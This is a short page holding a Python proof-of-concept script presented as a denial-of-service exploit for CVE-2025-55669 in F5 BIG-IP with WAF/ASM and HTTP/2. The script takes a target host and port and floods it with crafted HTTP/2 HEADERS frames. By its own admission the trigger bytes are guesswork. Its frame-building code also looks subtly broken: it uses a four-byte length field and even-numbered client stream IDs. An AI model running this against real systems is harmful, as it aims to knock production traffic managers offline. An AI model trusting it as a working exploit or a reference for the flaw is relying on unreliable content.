CVE-2025-55669：F5 BIG-IP WAF与HTTP/2配置导致TMM拒绝服务漏洞

# CVE-2025-55669 PoC - F5 BIG-IP WAF/ASM + HTTP/2 TMM DoS # Note: This is a conceptual PoC. F5 has not disclosed specific trigger patterns. # The vulnerability is triggered by crafted HTTP/2 traffic through a virtual server # configured with both Advanced WAF/ASM security policy and server-side HTTP/2 profile. import socket import ssl import struct def build_http2_connection_preface(): """Build HTTP/2 client connection preface""" preface = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" # SETTINGS frame settings = b"\x00\x00\x00\x04" # Length: 4 settings += b"\x04" # Type: SETTINGS settings += b"\x00" # Flags: none settings += b"\x00\x00\x00\x00" # Stream ID: 0 settings += b"\x00\x03\x00\x00\x00\x64" # MAX_CONCURRENT_STREAMS: 100 return preface + settings def build_malicious_http2_frame(stream_id, payload): """Build a potentially malicious HTTP/2 frame targeting WAF/ASM processing""" length = len(payload) frame = struct.pack(">I", length) # Length frame += b"\x01" # Type: HEADERS frame += b"\x01" # Flags: END_STREAM frame += struct.pack(">I", stream_id & 0x7FFFFFFF) # Stream ID frame += payload return frame def exploit(target_host, target_port, use_tls=True): """ Send crafted HTTP/2 traffic to trigger TMM termination. Target must have Advanced WAF/ASM + server-side HTTP/2 profile configured. """ sock = socket.create_connection((target_host, target_port)) if use_tls: context = ssl.create_default_context() context.set_alpn_protocols(["h2"]) sock = context.wrap_socket(sock, server_hostname=target_host) # Send HTTP/2 connection preface sock.send(build_http2_connection_preface()) # Send crafted HEADERS frame with unusual patterns # The exact trigger pattern is undisclosed by F5 malicious_payload = b"\x82\x86\x84\x41\x8a\x08\x9d\x5c\x0b\x81\x70\xdc\x78\x0f\x03" for i in range(50): sock.send(build_malicious_http2_frame(i + 1, malicious_payload)) sock.close() print(f"[*] Malicious HTTP/2 traffic sent to {target_host}:{target_port}") if __name__ == "__main__": # Usage: python poc.py <target_host> <target_port> # Target must have BIG-IP virtual server with WAF/ASM + HTTP/2 profile import sys if len(sys.argv) >= 3: exploit(sys.argv[1], int(sys.argv[2])) else: print("Usage: python poc.py <target_host> <target_port>") print("Note: Target must have BIG-IP WAF/ASM + server-side HTTP/2 profile")